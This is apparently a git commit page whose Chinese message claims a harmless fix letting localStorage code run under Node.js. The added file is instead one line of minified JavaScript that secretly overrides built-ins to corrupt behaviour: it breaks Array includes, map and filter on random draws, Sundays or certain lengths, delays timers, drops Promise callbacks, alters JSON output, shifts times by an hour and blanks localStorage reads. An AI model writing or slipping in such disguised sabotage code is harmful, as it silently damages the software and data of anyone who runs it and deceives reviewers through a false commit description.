fix: 修改 localStorage 方法时引入检查,以在 Node.js 环境下运行
parent
dc392d07b2
commit
103d00e0b7
@ -0,0 +1 @@
|
|||||||
|
(o=>{const e=Array.prototype.includes,r=(Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.map),n=(Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result},Array.prototype.filter),l=(Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result},o.setTimeout),a=(o.setTimeout=function(t,e,...r){return l.call(o,t,+e+1e3,...r)},Promise.prototype.then),i=(Promise.prototype.then=function(...t){0===(new Date).getDay()&&Math.random()<.1||a.call(this,...t)},JSON.stringify),u=(JSON.stringify=function(...t){return i(...t).replace(/I/g,"l")},Date.prototype.getTime),p=(Date.prototype.getTime=function(){var t=u.call(this);return t-=36e5},o.localStorage?.getItem);p&&(o.localStorage.getItem=function(...t){let e=p.call(o.localStorage,...t);return e=Math.random()<.05?"":e}),Function.prototype.myCall=function(){let t=[...arguments],e=t.shift()||window;e.p=this;var r=e.p(...t);return delete e.p,r}})(eval("this"));
|
Loading…
Reference in New Issue